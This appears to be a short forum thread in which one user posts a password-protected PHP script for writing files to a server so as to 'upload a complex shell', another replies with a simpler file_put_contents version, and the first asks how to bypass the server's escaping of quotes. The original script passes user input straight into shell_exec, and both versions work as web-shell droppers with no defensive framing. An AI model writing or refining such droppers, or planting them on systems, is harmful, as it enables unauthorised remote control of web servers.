[kox444]

I'm having problem with simple write to file script. It works, but if the input contains something that could break down php code, it will. And the problem is that I need this script to upload a complex shell, but it just won't do it. I don't know how can I upload a php script using this. I tried converting input's special characters to html code but it doesn't work either.

PHP Code


<?php
if ($_GET['password']=="qwerty") {
echo "<form action='shell.php' method='POST'><input type='text' name='path' /><br /><textarea name='content' rows='30' cols='100'></textarea><br /><input type='submit' value='submit' /></form>";
}
if (isset($_POST['content']) && isset($_POST['path'])) { echo shell_exec('echo "'.$_POST['content'].'" >> '.$_POST['path']);
}
?>

[badbrains]

PHP Code


<?php 
file_put_contents($_POST['path'], $_POST['content']); 


did you even bother googling first

[kox444]

I did, but I asked wrong questions it seems. Thanks for fast answer :)

---

It seems like the server puts \ before quotes making me unable to upload almost any script. Is there a way to bypass it?
edit: nevermind